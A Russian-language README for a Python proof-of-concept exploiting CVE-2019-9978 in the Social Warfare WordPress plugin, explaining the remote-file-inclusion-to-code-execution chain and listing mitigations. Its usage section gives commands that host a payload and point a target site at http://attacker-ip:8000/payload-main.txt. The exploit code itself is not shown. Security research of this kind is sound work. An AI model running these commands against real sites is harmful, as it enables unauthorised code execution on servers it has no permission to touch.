
Кастомный Python proof-of-concept, демонстрирующий анализ первопричины и эксплуатацию CVE 2019-9978 (плагин Social Warfare), с акцентом на практическую цепочку атаки от RFI к RCE.
Этот репозиторий содержит Proof of Concept (PoC) на Python, демонстрирующий эксплуатацию CVE-2019-9978 — критической уязвимости в плагине Social Warfare для WordPress.
Уязвимость позволяет неаутентифицированному злоумышленнику выполнить Remote File Inclusion (RFI), что может быть повышено до Remote Code Execution (RCE)* путем размещения вредоносной нагрузки на сервере, контролируемом атакующим.
Этот PoC был разработан и протестирован в контролируемой лабораторной среде WordPress только в образовательных целях и для авторизованного тестирования безопасности.
Плагин Social Warfare не выполняет надлежащую проверку и очистку пользовательского ввода, используемого для удаленного включения контента.
В результате злоумышленник может указать вредоносный внешний URL, что приводит к неаутентифицированному удаленному включению файла.
Когда включенный удаленный файл содержит исполняемый PHP-код, он выполняется в контексте сервера WordPress, что приводит к удаленному выполнению кода.
Unauthenticated HTTP Request
↓
Remote File Inclusion (External URL)
↓
Malicious Payload Execution
↓
Remote Code Execution (RCE)
python3 -m http.server 8000
Поместите файл с нагрузкой (например, payload-main.txt) в директорию сервера.
python3 exploit.py <target-site.com> http://attacker-ip:8000/payload-main.txt
Обновите плагин Social Warfare до пропатченной версии
Отключите удаленное включение файлов:
allow_url_include = Off
Ограничьте обработку внешних URL в плагинах WordPress
Разверните межсетевой экран веб-приложения (WAF) с правилами обнаружения RFI
Этот проект предназначен строго для образовательных целей и авторизованного тестирования безопасности.
НЕ используйте этот Proof of Concept против систем без явного разрешения. Автор не несет ответственности за любое неправомерное использование или ущерб, причиненный этим инструментом.